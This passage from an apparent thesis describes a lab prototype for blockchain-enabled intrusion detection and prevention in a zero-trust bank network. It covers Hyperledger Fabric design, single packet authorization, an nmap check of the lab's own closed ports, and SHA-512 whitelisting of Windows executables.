in our case scrutinized as well. These governance model and principles generate an 
undeniable and often pre-defined amount of trust depending on the scrutinization level. 
Moreover, in a permissioned blockchain two or more entities that do not fully trust each 
other, are provided with a secure way to perform transactions. Ultimately permissioned 
blockchains rely on the identity of the participants and as such they can use consensus 
protocols that do not require costly and resource intensive mining activities. From security 
perspective and considering the permissioned context where identities of participants are 
known, there are two additional benefits. First, the risk of intentional introduction of 
malicious code to the network through a smart contract becomes highly unlikely. Next, every 
transaction, modification of network configuration or smart contract deployment is recorded 
on chain followed by the relevant endorsement policy. This means that, a malicious 
participant can be easily and quickly identified compared to being completely anonymous, 
therefore greatly speeding up the incident handling process [71]. Finally, and building upon 
Table 3, in Table 6 we compare the discussed attributes of permissioned and permissionless 
blockchains to those of a traditional database.  

 

Table 6 – Permissioned-Permissionless Blockchains vs traditional database [71]. 

 Permissioned 
 blockchain 

Permissionless  
blockchain 

Traditional 
 database 

 
 
Identity 

• Participants must verify 
their off-chain identity first. 

• Know your Customer 
(KYC) and/or Anti Money 
Laundering (AML) along 
with other conditions might 
be required to participate in 
the network.  

• Such information may not 
be shared with other 
participants. 

• No requirements, 
participants can freely 
participate with or 
without sharing 
information. 
 

• An administrator 
assigns user 
credentials after 
tracking 
authorization. 

 
 
 
Governance 
and 
censorship 
resistance 
 

• Pre-defined participants 
might be able to undo or 
edit transactions.   

• Networks might depend on 
off-chain dispute resolution 
processes (e.g., arbitration). 

 

• Explicitly on-chain 
mechanisms manage the 
verification of 
transactions and 
resolution of conflicting 
data. 

• Transactions placed on 
chain are practically 
impossible to be reversed. 

• Monitoring of 
activity occurs 
centrally to 
achieve 
compliance with 
internal policies. 

Technical 
development 

• Code can be either 
proprietary or 

• Open-source code 
developed by 
communities. 

• An administrator 
implements 
software & 
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and 
maintenance 

adapted/contributed to open 
source. 

• Contractual clauses might 
force users/participants to 
implement 
updates/upgrades. 

• Updates / upgrades can be 
proposed by any 
community member. 

• Update implementation is 
ultimate user’s decision. 

security updates 
subject to relevant 
licensing, on 
behalf of user. 

 
3.3.3 Smart Contracts 
 

One of the core components when designing, developing, and implementing later the 
test blockchain network are smart contracts. In the context of Hyperledger Fabric they are 
often referred to as chaincode. Chaincode can be seen as a trusted distributed application 
which acquires the necessary trust and security from the blockchain network and the 
fundamental consensus among peers.  

Despite the majority of existing smart-contract enabled blockchain platforms following 
the order-execute architecture, Hyperledger Fabric utilizes an innovative approach named 
execute-order-validate. Examples of the order-execute architecture are platforms such as 
Ethereum [72] (based on PoW consensus), Tendermint [73], Quorum [74], and Chain [75]. The 
consensus protocol of these architectures works in two phases:  

 
1. All transactions are validated, ordered, and propagated to all peer nodes.  
2. Each peer will sequentially execute the transactions. 

 
It is imperative to note and understand that blockchains operating with the order-

execute architecture, and their smart contracts executing on top of the blockchain must be 
deterministic, otherwise, it is highly likely that consensus will never be reached. Determinism 
in the context of blockchains, simply put, means that if one enacts the same steps in a pre-
defined order, the same results as anybody else who follows the exact process should be 
achieved. To eliminate the non-deterministic operations, the relevant platforms require that 
the smart contracts be developed in domain-specific languages (e.g., Solidity [76]) or in 
general, non-standard programming languages. As a result, developers would need to learn a 
new programming language from scratch, which in turn might lead to programming errors 
due to lack of experience, therefore introducing implementation as well as security risks.  
 

On the contrary, the architecture used by Hyperledger Fabric named execute-order-
validate, addresses the shortcoming of order-execute architecture by splitting the transaction 
flow into three phases: 
 

1. All transactions are executed and checked for correctness, thereby resulting in 
endorsement. 

2. Next, transactions are ordered via the consensus protocol. 
3. And lastly transactions are validated against an application-specific endorsement 

policy prior committing them to the ledger. 
 

Execute-order-validate architecture is a radical approach compared to the order-execute 
architecture, for that in the former transactions are executed before even reaching final 
agreement on their order. This results in non-determinism elimination as any possible 
inconsistent outcomes will be filtered out before ordering. Because of that pioneering 
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differentiation, standard programming languages such as Java, JavaScript, Node.js, and 
Golang [71] can be used. 
 
3.3.4 Performance and Scalability 
 

A blockchain platform’s performance can be affected by many parameters such as network 
size and architecture, hardware limitations, and the transaction and block size. In the smart 
contract section (chaincode) the two relevant architectures were discussed, namely the 
order-execute, and the one that used on Hyperledger Fabric lab, execute-order-validate. In 
the former architecture we highlighted that all transactions are executed sequentially by all 
nodes, therefore performance and scale is inherently limited. Moreover, smart contracts 
execution by all nodes means that the overall system demands complex safeguards to be in 
place, for the protection against malicious contracts and to achieve a high degree of resiliency 
[94].  

In the latter architecture however, we highlighted that an endorsement policy indicates 
which or how many of the peer nodes required to vouch for the correct execution of a subject 
smart contract. Thereby every transaction must be executed only by the specific subset of 
peer nodes required to fulfil the transaction’s endorsement policy. This results in parallel, 
instead of sequential, execution eventually increasing the overall performance and scaling 
capability of our lab setup. Finally, several research papers have been published [95], [96] 
investigating and testing the performance of Hyperledger Fabric, while at the same time a 
performance and scale working group introduced a benchmarking framework named 
Hyperledger Caliper [97]. 
 
3.5 Conclusion 
 

In this Chapter, we take into consideration the input of analysis phase and (1) draft two 
new research questions, RQ2, RQ3, and (2) we draw the design principles for the BIDPS. Based 
on the literature review, researcher’s experience, and industry specific requirements for the 
BIDPS use case, it is evident that a successful and fit for purpose BIDPS prototype must adhere 
to four key design principles. Namely, it must be permissioned & private blockchain, the 
consensus protocol must not require a native cryptocurrency, the smart contracts must be 
authored in general-purpose programming languages, open-source, enterprise-grade, and 
scalable. Hyperledger Fabric meets all the design principles, where all the alternatives fail to 
meet at least one of them, hence making it the best choice for our use case. We discussed the 
core design concepts of Hyperledger Fabric and addressed all the design prerequisites that 
will prepare and allow for a successful development and implementation phase afterwards.   
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Chapter 4: Development & Implementation Phase – 
Prototype’s Development, Operating Network, and 
Architecture 
 
4.1 Introduction 

 
The development and implementation phase consists of four core sections. The first 

section describes the ZTA implementation, second is the hash-based blockchain-enabled 
application whitelisting that is used as input to develop and implement the third section, the 
blockchain network and the fourth section, the actual BIDPS application. Each of the four 
sections presents in detail our development and implementation process for the four pillars 
of the BIDPS, as shown in Figure 18, more specifically: 
 

 
Figure 18 - Notional bank high-level architecture. 

 
1. The ZTA where the BIDPS operates:  we develop and implement a notional bank high-

level architecture and a remote employee working from home. However, it could be 
any other remote location e.g., hotel, airport. The red dotted line from point nr1. 
“Remote User(s)” towards point nr.6 “Blockchain Network” represents the remote 
employee connecting directly to the BIDPS without the need for VPN, leveraging ZTA’s 
PEP. For a detailed description on how the ZTA and the PEP allow for the remote 
employee to connect to the blockchain network, see Figure 19. 

2. The hash-based blockchain-enabled application whitelisting: we develop and 
implement an application whitelist based on existing encryption algorithm to serve as 
input for our BIDPS. This activity happens directly on point nr1. Namely, the “Remote 
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User(s)” endpoint. The outcome is transferred directly into the blockchain network 
through the blockchain application as a transaction. 

3. The Fabric blockchain network: this is the enabling layer for the BIDPS to be grounded. 
It is placed on the internal zone of the notional bank in our case using a hybrid 
infrastructure. Nonetheless, it could be also entirely cloud hosted or hosted anywhere 
else subject to organisations overall architecture. In our case, the blockchain network 
was hosted entirely on-premises as shown in Figure 18 to control operational costs of 
the lab. More details and a focused view of the blockchain network are presented in 
Figure 31. 

4. The BIDPS application: this is the actual BIDPS application, which runs on top of the 
fabric blockchain network and performs all the user-backend interactions. We detail 
and demonstrate the interaction of the BIDPS application with the blockchain network 
in Figure 41. 

 
The four pillars together (sections 4.2, 4.3, 4.4, 4.5) comprise the BIDPS prototype within the 
ZTA environment.  
 

4.2 Zero Trust Architecture 
 

In Chapter 2, analysis phase, we discussed the currently available Zero Trust Models, 
device-agent-gateway-based, enclave-based and resource-portal-based respectively. In 
continuation, we presented the real world ZTA implementations and conclude to a one-to-
one match of the available models versus the real world available ZTA implementations. For 
our testbed ZTA lab, we implement the enclave-based model, since it is the best fit for our 
architecture and use case for the following reasons:  

 
• Device agent/gateway-based deployment is de-scoped, as our notional bank adheres 

to a bring your own device (BYOD) policy. Therefore, our policy enforcement point 
cannot be attached to resources. 
 

• The best and easiest way to deploy ZTA on a BYOD enabled organisation, is the 
enclave-based deployment [87] because the devices can be placed within their own 
enclave or micro core and perimeter (MCAP). 
 

• The policy enforcement point (PEP) location resides on cloud, as our notional bank 
architecture uses a hybrid network architecture, and therefore the only model 
allowing for the PEP location to be in front of resources is the enclave-based 
deployment [87]. 

 
A typical enclave-based deployment implementation, such as software defined perimeter 

(SDP) consists of three core components: The SDP controller, the SDP gateway, and the SDP 
client. Figure 19 shows a high-level diagram of our SDP testbed lab.  
 



 66 

 
Figure 19 - High-level Enclave based deployment model Lab implementation. 

 
The remote working employee for the notional bank with an enclave-based deployment, 

is using an SDP agent at the employee’s endpoint, in the context of their broader ZTA 
implementation. This is contrary to the traditional virtual private network (VPN) for remote 
access. As such, the so called “black-cloud or black core” [88]  is achieved, where the target 
resource or application is automatically deemed invisible for the attackers. At the same time, 
the target resource or application does not require any open ports to be open at the notional 
bank’s side, therefore resulting in significantly reduced, if not nearly eliminated, threat 
surface.  

More specific, on the left-hand side of Figure 19, the remote employee (1) is using a laptop 
provided by the notional bank running a standard version of Windows 10. User is ultimately 
accessing the target resource (application) (5) by using all three SDP components. The target 
resource (in blue box) (5) is only allowed to connect to the SDP gateway/controller (3) (red 
box) via a direct connection and has zero ports exposed to internet. The SDP 
gateway/controller (3) (red box) has zero ports exposed on the internet as well, ultimately 
leading into a near-zero attack surface for our SDP testbed lab. Firewalls (2) and (4) are 
marked to provide the reader with better understanding of the placements in the overall 
notional bank architecture shown in Figure 18. 

 
4.2.1 Remote Employee 
 
Remote employee (1) is hosted and simulated via a virtual machine (VM1), installed operating 
system (OS) Windows 10, and SDP client installed, as shown in Figure 20. 
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Figure 20 - Remote employee (1) virtual host. 

 

4.2.2 ZT Gateway and Controller 
 

Both gateway and controller (marked with 3 in Figure 19 of the SDP are hosted on the 
notional bank’s hybrid cloud infrastructure, in the same virtual machine (VM2) running on 
open-source Debian Linux operating system, depicted in Figure 21. Despite controller and 
gateway components being open sourced based, we utilize Zscaler’s versions as well to 
ensure compatibility in connection and configuration with client, and to guarantee 
persistence and consistency in evaluation results later. 
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Figure 21 - SDP Gateway and Controller. 

 
4.2.3 Minimizing Attack Surface 
 

The firewall (2) on VM2 is configured to drop all traffic. This is imperative compared to the 
traditional architectures, where a range of ports or a single port for the target service would 
be typically open or listening for the service to be accessible. As such, this is a known and 
typical example of security risk subject to traditional architectures, also referred to as attack 
surface [89]. A threat actor could potentially try to directly exploit the exposed service or try 
to perform various techniques to break into the system. Having a default state of “drop all” 
on SDP gateway/controller, immediately exposure to threats is minimized, therefore attack 
surface is minimized. Figure 22 and Figure 23 show the provisioning key used to establish the 
secure connection and the controller host respectively. Provisioning key is generated in 
advance in the form of a text string and functions as a unique identifier for the client and 
gateway.  
 

 
Figure 22 - SDP Controller private key. 
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Figure 23 - SDP controller command line interface (CLI). 

To validate the above statement, a network mapping scan (Nmap [90]) is performed 
against our SDP gateway/controller, returns that all 65535 ports appear to be filtered, 
demonstrating the near-zero attack surface.  
 

 
 
4.2.4 Target Resource 
 

A test web server is being hosted in the internal network (5) of the notional bank without 
direct internet interface. Meaning, no network exposure towards internet, no open/listening 
ports, nor it is possible for a remote employee (1) to reach this test web server without being 
previously authorised and authenticated by the SDP controller and gateway (3). A version of 
Ubuntu Linux is used for that purpose on a virtual machine (VM3) with the only allowed 
communication being towards the SDP gateway/controller (3).  
 

$ sudo nmap -sS -P0 -vvv -p 1-65535 192.168.178.45  
$ nmap scan report for 192.168.178.45 
$ host is up (0.035s latency) 
$ All 65535 scanned ports on 192.168.178.45 are filtered 

 

 
 



 70 

 
Figure 24 - Resource target (application) (5). 

This provokes the following question; How does the remote employee, from his endpoint 
(1) VM1, can access the target test web server (5) on VM3, since all ports are filtered in the 
gateway/controller VM2? Note that the only way for the remote employee to reach the target 
resource (5) VM3, is via the SDP gateway/controller (3) VM2, therefore, there is near zero 
attack surface on both VM2 (3) and VM3 (5).  
 
4.2.5 Single Packet Authorization (SPA) 
 

As demonstrated in section 4.2.1 Remote Employee, the remote employee on his endpoint 
(1) VM1 has the SDP client already installed and configured. The SDP client sends a Single 
Packet Authorization (SPA) to the SDP gateway (3) VM2. Prior becoming a core component of 
SDP, SPA was used to mitigate unauthorized access for high privileged users (root) via secure 
shell (SSH). The idea of SPA was brought into SDP to create the near-zero attack surface. For 
instance, one of the very first common steps of adversaries is to perform network 
reconnaissance for locating open ports and exposed services. Tools such as Nmap can 
automate this step for adversaries. The same tool was used in section 4.2.3 Minimizing Attack 
Surface to verify our near-zero attack surface. Nonetheless, our VM2 firewall is configured in 
drop-all state, which means that only IP addresses that can prove their identity via a passive 
methodology will be allowed. There is no need for TCP/IP stack for remote IP authentication. 
As a result, and by utilizing SPA, if an adversary performs a Nmap scan against our lab, he/she 
will not be able to even determine if our web server (5) (VM3) or the gateway/controller (3) 
(VM2) is up and running. Therefore, even if adversaries possess zero-day exploits, they 
automatically become irrelevant due to the near-zero attack surface and inherent invisibility. 
The SPA packet is a UDP packet, encrypted and cryptographically signed, which cannot be 
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faked unless someone steals the legitimate user’s keys and re-formulates a SPA packet. In 
that case, no SPA packets are ever the same which automatically takes out of the equation 
the replay attacks. The SPA process flow is demonstrated in Figure 19. 

In continuation and for the remote employee (1) (VM1) to access the web server (5) (VM3), 
the SDP gateway/controller (3) (VM2), which sniffs the IP stack, must receive a SPA packet. 
Once this is received, the controller takes a two-stage action.  

 
• First, it verifies the HMAC signature and secondly it decrypts the package. As a 

result, the gateway/controller knows that there is a legitimate user knocking the 
door.  

• Second, the gateway/controller will perform a check within that same SPA packet, 
whether the user has access to the requested service. In case that all three checks 
are validated, the controller and gateway will respond.  

 
Respond however, does not assume it replies by no means to the user itself. The 

controller/gateway (3) will explicitly and dynamically reconfigure the firewall, in our case 
IPTABLES, to allow that specific user, from his specific IP address, to access the pre-defined 
service in a pre-defined port for a brief time. In this case it is port 443, and the time is 
configured to zero, which means unlimited allowed time. Additionally, geolocation 
specification of the remote employee could be possible; however, such will come down to 
hardening the lab, which is considered out of scope. Configurations performed regarding 
access context, target application, policy add, policy edit, and finally, the remote employee 
(1) successfully accessing the target resource application (5) are shown in Figure 25, Figure 
26, Figure 27, and Figure 28 respectively.   
 

 
Figure 25 - Setting up the access context for remote employee (1) and resource target (5). 
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Figure 26 - Setting up the resource target (5) segment. 

 
Figure 27 - Setting up the access policy (lampis-rule) for remote employee (1). 

 
Figure 28 - Remote employee (1) accessing the target resource (5) 
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4.2.6 Limitations 
 

To implement an enclave-based deployment model as required by our specifications, the 
software defined perimeter (SDP) architecture is the perfect match. Nonetheless, this subject 
is twofold. On one hand, the Open-source SDP Client required to be installed on the remote 
employee’s endpoint states [91]: 
 
“The SDP Client is currently only being assessed on macOS along with Debian and RHEL 
versions of Linux. It is unlikely to function on Windows at present. Support for other 
platforms will be provided in the future”. 
 

Conclusively and considering the wide adoption of Windows-based endpoints, the open-
source version of SDP is out of scope.  
 

On the other hand, there are several commercial SDP versions available. All of them offer 
a similar product with a variety of different hosting and security options, however, there is no 
additional benefit in this case as the plan is to leverage the architecture explicitly to setup the 
ZTA lab rather rely on the additional features. Zscaler for instance offers a deep packet 
inspection feature where the traffic from remote employee’s endpoint is scanned for 
malicious traffic, and then based on analysis an alert or action can be configured accordingly 
[92]. Nonetheless and during evaluation phase, we were forced to turn this feature on and 
off where detection occurred on Zscaler side, to focus explicitly on the efficacy of the BIDPS.  

In this research, we focus solely on the host-based blockchain-enabled intrusion detection 
and prevention prototype capabilities. As a result, additional security features of all 
commercial ZTA candidates are descoped. That said, we choose the one candidate offering 
an extended trial version, and in addition adheres to all enclave-based deployment model 
principles, namely Zscaler.  
 
4.2.7 Specifications 

 

Table 7 - ZTA Enclave-based lab setup specifications. 

 Remote employee  
 SDP Client (1) (VM1) 

SDP Gateway - 
SDP Controller (3) 

(VM2) 

Resource target – 
Apache test web server 

(5) (VM3) 
Operating System 

(OS) 
Windows 10 Pro x64 Linux 3.10.0 – 

1127.10.1.el7.x86_64 
CentOS Linux 

Ubuntu 14.04.6 

Hard Disk Drives 
(HDD) 

25GB 1.4GB 3GB 

Central Processing 
Unit (CPU) 

2.19 GHz Quad Core Intel 
Core i7-4770HQ 

2.2 GHz Quad Core 
Intel Core i7 

1.5 GHz Quad Core Intel 
Core i7 x86_x64 

Random Access 
Memory (RAM) 

6.23GB 4GB 2GB 

Software (SW) Zscaler SDP Windows Client 
3.1.0.117, HashMyFiles 

2.3.7.0, SysMon64, Google 
Chrome 95.0.4638, Adobe 

Reader DC 

CentOS 7.2 basic 
software installation 
with yum repository 

and utils 

Ubuntu 14x basic 
installation with advanced 

package tool (APT), 
Apache 2.4.18 
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2021.007.20099_english_x64, 
Microsoft Office 2016, Java 8 
Update 291, Java SE Dev Kit 

16.0.1 x64, Visual C++ 
2008,2010,2015-2019, 

NPCAP, VMWare tools 
 
4.3 Hash-based Blockchain-enabled Whitelisting 
 

Cryptographic hashing algorithms are one-directional mathematical formulas designed to 
generate a unique value for every possible input, in this case all executable extensions within 
a given system. Common hashing algorithms include but not limited to MD5, SHA-1, SHA-256 
and SHA-512 and are based on a construct known as Merkle–Damgård construction [94]. 
Output of hashing algorithms or hashing functions is commonly referred to as hash, hash 
value, message digest or digital fingerprint. The American National Institute of Standards and 
Technology (NIST) specifies the approved hash algorithms for generating a condensed 
representation of a message, otherwise known as message digest, within two Federal 
Information Processing Standards (FIPS) [95]. Moreover, NIST has introduced a policy on hash 
functions where the usage of SHA-1 is strongly not advised for use by federal agencies. On 
the other hand, SHA-2 with a minimum of SHA-256 for any application of hash functions 
requiring interoperability is strongly encouraged. Further guidance is provided on the relevant 
NIST’s special publication 800-57 part 1, revision 5, section 5.7.2 [96] and SP 800-131A Rev. 2 
[97]. 
 
It is imperative to note that hashing functions are prone to two known attacks: 
 

• First, when two inputs result in the same output after hashing, this is called hash 
collision. Algorithms that produce shorter hashes are prone to hash collision. MD5 and 
SHA-1 hashing algorithms have been proven [98] prone to hash collision that threat 
actors can exploit and eventually hide malicious content, which is also known as 
collision attacks. Hashing algorithms subject to collision attacks are MD5, SHA-0 and 
SHA-1 [99].  

 
• Second, a more difficult attack to perform because it requires adversaries to have at 

least a basic internal (to the notional bank) knowledge up to a certain extent, although 
an existing one and known as length extension attack. Adversaries that have 
knowledge of the hash value of an executable on the remote user’s endpoint, might 
be able to extend it and forge a new hash, ultimately allowing for adversaries to 
pretend that the original hash was not properly terminated. Hashing algorithm subject 
to length extension attacks are MD5, SHA-0, SHA-1, and SHA-2 up to SHA-256 [100]. 

 
Conclusively, in this setup we select and utilize the SHA-512 hashing algorithm to produce 

hashes of all executable extensions within the remote employee’s workstation to, at least, 
avoid known attacks at this stage. Nonetheless implications of this decision must be 
considered and discussed in section 4.3.4 Limitations, e.g., in what ways and how much user 
experience is hindered. 
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The list of hash values of all known executable extensions within the remote employee’s 
workstation is produced and described in the following three sub-sections: 
 

1. Define executable extension within the given system. 
2. Consider windows-based hashing options. 
3. Acquire hashed values and setup a time-based measurement. 

 
4.3.1 Executable Extension Definition 
 

Although the objective is to simply acquire the hashed values, we intentionally add further 
options into the equation to potentially provoke and facilitate further research on the subject. 
All file names in Windows 10 operating system of the assumed remote employee have two 
parts separated by a period. First, the file name, and second a three- or four-character 
extension which also defines the file type. For instance, in test.docx, the first part of the file 
name is “test” while the second part “docx” is the extension. Scope is to list all executable file 
extensions, object code, dynamic link library (DLL) and others within the given system, which 
eventually this will indicate files that support some ability to execute an automatic task. In 
contrast to other file extensions and file formats that simply display data, play music or videos, 
or more broadly stated, they present content rather than executing system commands. Table 
8 presents a list of all executable extensions gathered within the given system, alongside a 
brief explanation [101]. 
 

Table 8 - List of executable extensions in remote user’s workstation [102]. 

Extension Format 
.bat Batch file 
.bin Binary executable 
.cmd Command script 
.com Command file 
.cpl Control panel extension 
.exe Executable 
.gadget Windows gadget 
.inf1 Setup information file 
.ins Internet communication settings 
.inx InstallShield compiled script 
.isu InstallShield uninstaller script 
.job Windows task scheduler job file 
.jse Jscript encoded file 
.lnk File shortcut 
.msc Microsoft common console document 
.msi Windows installer package 
.msp Windows installer patch 
.mst Windows installer setup transform file 

 

Extension Format 
.paf Portable application installer file 
.pif Program information file 
.ps1 Windows powershell Cmdlet 
.reg Registry data file 
.rgs Registry script 
.scr Screensaver executable 
.sct Windows scriptlet 
.shb Windows document shortcut 
.shs Shell scrap object 
.u3p U3 smart application 
.vb VBscript file 
.vbe VBscript encoded script 
.vbs VBscript file 
.vbscript Visual basic script 
.ws Windows script 
.wsf Windows script 
.wsh Windows script preference 

 

 
4.3.2 Windows-based Hashing Options 
 

There are plenty of options to acquire hash values of all executables within the given 
system. Since this is a standalone task and we are using the manual way of transferring the 
output (list of hashes) back to the blockchain network, we can choose any of the below 
options with only three criteria in mind, namely (1) support of SHA-512, (2) graphical user 
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interface (GUI) for ease of use at this stage, (3) multiple input options to speed up the process, 
and (4) multiple output options e.g., xls, xlsx, csv, txt, xml and others. 
 
• Microsoft provides the File Checks Integrity Verifier (FCIV) [102]. This is a standalone 

command line utility that can both hash and verify hash values. Although Microsoft 
does no longer support this tool, it still works on modern Windows operating system 
(OS) up to Windows 10. Supported hash functions, however, are limited to MD5 and 
SHA-1. Our objective is to use SHA-512 algorithm for the above-mentioned reasons 
referring to known attacks, therefore FCIV is descoped.  

 
• Microsoft provides another stand-alone command-line program which is shipped 

within Windows 7 and newer versions of the OS, named “CertUtil” [103]. It supports 
MD5, SHA-1, SHA-256 and SHA-512 algorithms and can be easily executed via 
command line by properly passing on three parameters, viz. (1) declare function -
hashfile (2) choose algorithm (3) declare the path of a single file. While this is a good 
option because it does not require installation or external executable files to be loaded 
on the remote employee’s workstation, it is (a) command line based (b) one would 
have to execute the tool several times to get the desired output since it only accepts 
single line arguments (or write another script to automate it) and (c) there are very 
limited output options, hence descoped.  
 

• SigCheck by SysInternals [104] is another command-line tool that can calculate file 
hashes supporting MD5. SHA-1 and SHA-256 algorithms. This is descoped for the same 
reasons as “CertUtil” but also for not supporting SHA-512 algorithm. 

 
• HashMyFiles by Nirsoft [105], is a stand-alone GUI based tool freely available. It 

supports several hashing algorithms such as CRC32, MD5, SHA-1, SHA-256, SHA-384 
and SHA-512 and even more. Via the GUI one can specify to hash entire folders based 
on wildcards and extensions while the output can be based on either text file, excel 
sheets or xml output, which makes it a suitable candidate. 

 
• HashCheck is another freely available (open source) hash calculation tool [106].  This 

offers the greatest support of algorithms like all before, adding SHA3-512 on top. 
Nonetheless the output format is limited, and the wildcard usage for hashing entire 
folders at once is not mature enough hence it cannot provide a full hashing capability 
throughout the entire system in a single click (or even clicks). 

 
 
4.3.3 Perform Hashing 
 
      Hashing and hash value extraction is performed using the HashMyFiles tool by Nirsoft. The 
only selection in the tool is the hashing algorithm (SHA-512) and the output file being an excel 
sheet. However, and although not required nor essential at this stage, we want to keep track, 
at least, of the initial time requires to hash every executable within the given system. 
Therefore, a visual basic script will be used to launch the HashMyFiles tool and keep track of 
its execution time in seconds. The timer script is as follows: 



 77 

 
 
 
 
 
 
 

Output of the execution of the script in the user’s workstation and full hashing of the 
extensions in Table 8, along with the consumed time (52,83 seconds) is shown in Figure 29 
and Figure 30 respectively. 
 

 
Figure 29 - List of hash values on remote users’ workstation. 

Set WshShell = WScript.CreateObject("WScript.Shell") 
sCmd = chr(34) & "C:\users\george\desktop\HashMyFiles.exe" & chr(34) 
dtmStartTime = Timer 
Return = WshShell.Run(sCmd, 1, true) 
Wscript.Echo "The task completed in " & Round(Timer - dtmStartTime, 2) & " seconds." 
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Figure 30 - Hashing execution time. 

4.3.4 Limitations 
 

Two limitations identified while trying to acquire the hash values of the remote users’ 
workstation.  
 

1. Hardware specifications (see Table 9) are highly influencing the time required to 
complete hashing. For instance, possibly using a physical solid state disk drive with an 
additional 2 gigabytes of memory would lower the required time. Nonetheless this 
requires further research, testing and evaluation. 
 

2. The list of extensions used to feed the hashing tool should be ideally the outcome of 
a centralized baseline repository of the notional bank, including all corporate software 
installed providing for a real-world timed hashing. In other words, within the test lab, 
a basic set of applications is installed in the users’ workstation (e.g., Adobe reader, 
Microsoft Office, Google Chrome, and others) which eventually allow for, possibly, a 
much faster hashing time compared to a real-world users’ workstation, subject to 
further research, testing and evaluation. 
 

The proposed solution is applicable in both cases of enterprise provided endpoints and BYOD.  
Essential difference that needs to be noted nonetheless, during the former, hashing time and 
hence potential user experience impact, will be far less than the latter scenario. More 
specifically: 
 

• Corporate endpoint provided: in this scenario the time to hash is minimum. Our lab 
measured at 52,83 seconds from start to finish. This is because hashing takes place 
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prior providing the endpoint to the remote employee against a corporate application 
whitelist baseline repository, therefore minimum to zero impact on user experience.  

• BYOD: in this scenario the time to hash will be significantly increased based on several 
factors, e.g., computational resources or user’s activity while hashing is performed. 

 
 
4.3.5 Specification  

 

Table 9 - Remote user workstation specifications. 

 Remote employee  
 SDP Client (1) (VM1) 

Operating System (OS) Windows 10 Pro x64 

Hard Disk Drives (HDD) 25GB 
Central Processing Unit (CPU) 2.19 GHz Quad Core Intel Core i7-4770HQ 

Random Access Memory (RAM) 6.23GB 

Software (SW) Zscaler SDP Windows Client 3.1.0.117, HashMyFiles 2.3.7.0, 
SysMon64, Google Chrome 95.0.4638, Adobe Reader DC 

2021.007.20099_english_x64, Microsoft Office 2016, Java 8 
Update 291, Java SE Dev Kit 16.0.1 x64, Visual C++ 

2008,2010,2015-2019, NPCAP, VMWare tools 
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4.4 Blockchain Network Layer 
 

To help the reader gain understanding of the components and dynamics within the 
prototype’s blockchain network, we present Figure 31, which demonstrates the BIDPS 
network through a magnifying lens. The next subsections are devoted into detailed 
explanations of both the prototype’s network components, as well as the application 
specifics.  
 

 
Figure 31 - BIDPS blockchain network architecture [77]. 

 
4.4.1 Organizations 
 

Also known as blockchain network “members”. The prototype’s blockchain network 
includes two members, namely, Org1 and Org2, as shown in the orange oval shapes.  

 
• Org1 represents the notional banks headquarter (HQ) office.  
• Org2 represents a single branch within the notional bank ecosystem.  

 
For simplification purposes only one branch of the notional banks broader architecture is 

being considered, viz. Org2. Organizations or members can represent any entity regardless of 
size or properties, for instance they could represent a multi-national corporation, a branch, a 
division, or department within a corporation, or even a single individual. The prototype’s 
organizations or otherwise members Org1 and Org2 form a consortium.   
 
4.4.2 Peers 
 

Also known as nodes, are network entities that host and maintain a ledger, and in addition 
running chaincode containers to be able to perform read/write operations to the ledger.  
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• Org1 – Peer, represents the peer/node of the notional bank HQ office.  
• Org2 – Peer, represents the peer/node of a single branch within the notional bank 

ecosystem. 
 

Each organization Org1 and Org2, is running its own peer Org1 – Peer and Org2 - Peer 
respectively within the prototype’s blockchain network. Finally, in a production environment 
peers or nodes are owned, hosted, and maintained by each organization/member, therefore 
Org1 – Peer should be owned and operated by the notional banks HQ while Org2 – Peer 
should be owned and operated by the notional banks branch. Both peers are hosting their 
own ledger alongside their smart contracts or chaincode. Their ledger immutably records all 
transactions generated by smart contracts. 
 
4.4.3 Ledger 
 

The ledger is a core component of the prototype’s network, for it stores the current hashes 
of the remote employee’s endpoint. Furthermore, ledger stores the past hashes as history of 
transactions that eventually resulted in the current values, providing for a reliable source of 
chain of events in case of a required software update on remote employee’s endpoint. 
Nonetheless the current hash will always supersede previous hashes chained in the form of 
transactions, hence assurance that the latest version of the software on remote employee’s 
endpoint will be allowed to execute is provided, while in parallel outdated versions will not 
be allowed.  

Ledger Structure comprises of two separate segments, although highly related, namely, 
the world state database and the blockchain. On one hand, world state database contains 
the current values of the hashes produced from remote employee’s endpoint. On the other 
hand, however, the blockchain records all changes leading up to and including the current 
value of the world state database, in form of transactions. Next, transactions are “placed” 
inside blocks and ultimately appended on the blockchain which enables for better 
understanding of historical changes that led into the current value in the world state 
database. Blocks enclose ordered transactions. They are bounded cryptographically with the 
previous and next block (see 3.2.1 Blockchain and DLT), ultimately forming a chain of 
transaction logs in the form of chained blocks of transactions. The first block in such chain of 
blocks, however, is known as the generis block. Concussively, it is imperative to understand 
that the blockchain is different than the world state database in the sense that, once data 
written on blockchain, it can no longer be modified and therefore it is immutable. Figure 32 
shows a zoom in Org1 – Peer ledger for a visual representation of the ledger structure, 
highlighting the blockchain and the world state database (DB) [77].  
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Figure 32 - Ledger Structure. 

4.4.4 Channel 
 

Within the prototype’s blockchain network our channel is named “Channel A”. It is a 
communication mechanism for organizations 1 & 2 (and their components) within the 
blockchain network to communicate and transact privately. For the sake of simplicity and 
understanding, one can view Channel A as a private “subnet” of communication between 
“Org1” and “Org2” organizations (members), which eventually enables them to conduct 
private and confidential transactions. For the two peers of each organization respectively to 
join the channel, an identity is required. For every transaction that is executed via the channel, 
the peers and entities must first acquire authentication and gain authorization. Simply stated 
and demonstrated in Figure 31, “Channel A” connects “Org1 – Peer”, “Org2 – Peer”, “Founder 
– Orderer” and finally the “Client”, which is the actual BIDPS application. 
 
4.4.5 Orderer 
 

The Orderer is named after “Founder – Orderer” and is a special node responsible for 
ordering transactions, creating a new block of ordered transactions, and distributing the 
newly created block to all peers on Channel A, therefore always keeping ledgers on “Org1 – 
Peer” and “Org2 – Peer” consistent.  In the prototype’s blockchain network there is only one 
orderer (or ordering node) due to limited hardware resources, nonetheless the “Founder – 
Orderer” as shown in Figure 31, performs the transaction ordering, which can also be referred 
to as ordering service. The ordering service, or the orderer if we look at it from a component 
perspective, is one of the most important components within the prototype’s blockchain 
network due to its fundamental role in reaching consensus. 

 
4.4.6 Consensus 
 

Consensus is used as an overarching broader term for the overall transactional flow. The 
meaning and goal are to produce an agreement on order of transactions comprising a block, 
while at the same time confirming their correctness.   
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Several distributed permissionless blockchain networks (e.g., Bitcoin or Ethereum) allow 
for any node to participate in the consensus process, and therefore order transactions which 
in turn are grouped into blocks. This fact of permissionless chains means that their network 
relies on probabilistic consensus algorithms [107] [108], which ultimately provides for ledger 
consistency to be achieved with a high degree of probability. On the other hand, the concept 
